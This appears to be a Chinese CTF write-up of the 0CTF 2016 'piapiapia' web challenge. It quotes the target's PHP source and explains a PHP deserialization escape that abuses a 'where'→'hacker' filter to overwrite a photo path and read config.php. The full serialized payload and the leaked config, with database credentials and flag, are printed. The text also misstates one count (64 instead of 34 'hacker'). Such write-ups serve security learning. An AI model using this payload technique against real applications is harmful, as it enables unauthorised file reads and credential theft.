0CTF-2016-piapiapia

[0CTF 2016]piapiapia

进入网页发现是一个登录界面,尝试发现有register.php,登陆后有一个文件上传,有上传后的展示页面

御剑+dirmap扫,有访问控制,扫挺慢……

image-20210402193847592

御剑扫出来register页面,dirmap就扫出来了网页备份……害

下载网页源码:image-20210402194037537

本题测试发现admin账户是可以注册的,应该不存在获取管理员权限啥的……看一波profile

1
2
3
4
5
6
else {
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));

这里有一个文件读取,上面是一个 反序列化,updata:

1
2
3
4
5
6
7
8
9
10
11
12
$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');

move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);

$user->update_profile($username, serialize($profile));
echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';

这里是序列化,将提交的信息进行了序列化,应该看一下user类里的有关方法:

1
2
3
4
5
6
7
8
9
10
public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);

$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}
public function __tostring() {
return __class__;
}

user有一个父类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
class user extends mysql{...}

//class mysql:
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);

$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
public function __tostring() {
return __class__;
}

针对sql的一些查询语句进行了过滤,并会替换成hacker。

image-20210402195246499

config文件里记录了有flag信息,但这里是空的……我们应该是要读这个文件,也就是是控制传输的反序列化。

上次的easy_serialize_php,文件对序列化后的字符串进行了检测的替换。无论是检测时字符串删除或增加,都可能导致反序列化的对象逃逸,这里不能控制键,所以是值逃逸。

反序列化的对象逃逸

首先

image-20210402200031174

要绕过nickname的长度限制,这里可以使用数组绕过

正常的反序列化:

a:4:{s:5:”phone”;s:11:”11111111111”;s:5:”email”;s:7:”1@1.com“;s:8:”nickname”;a:1:{i:0;s:32:”1s:5:”photo”;s:10:”config.php”;}”;}s:5:”photo”;s:39:”upload/c4ca4238a0b923820dcc509a6f75849b”;}

数组的反序列化会在数据两边加上{},所以我们要拼接";}s:5:"photo";s:10:"config.php";}来覆写photo为我们想要的config文件。

注意到过滤中有一个where是5字符的,而hacker是6字符,这样的增加可以影响到前面对数组的描述,而我们的插入因为符合语法规则而从描述中逃逸";}s:5:"photo";s:10:"config.php";}有34个字符,如果我们在nickname中传入34个where,将会被替换成64个hacker。

image-20210402200850354

———————>

image-20210402201033007

本该解析的";}s:5:"photo";s:10:"config.php";}被多出来的34个字符吞掉,后面正确闭合导致描述逃逸,photo被覆写为cofig.php:

image-20210402201316506

成功上传:

image-20210402201348203

解密:

1
2
3
4
5
6
7
<?php
$config['hostname'] = '127.0.0.1';
$config['username'] = 'root';
$config['password'] = 'qwertyuiop';
$config['database'] = 'challenges';
$flag = 'flag{f46c2977-0f1c-48f5-ac44-01b966e6c53a}';
?>

ok……

作者

inanb

发布于

2021-04-02

更新于

2021-10-25

许可协议


:D 一言句子获取中...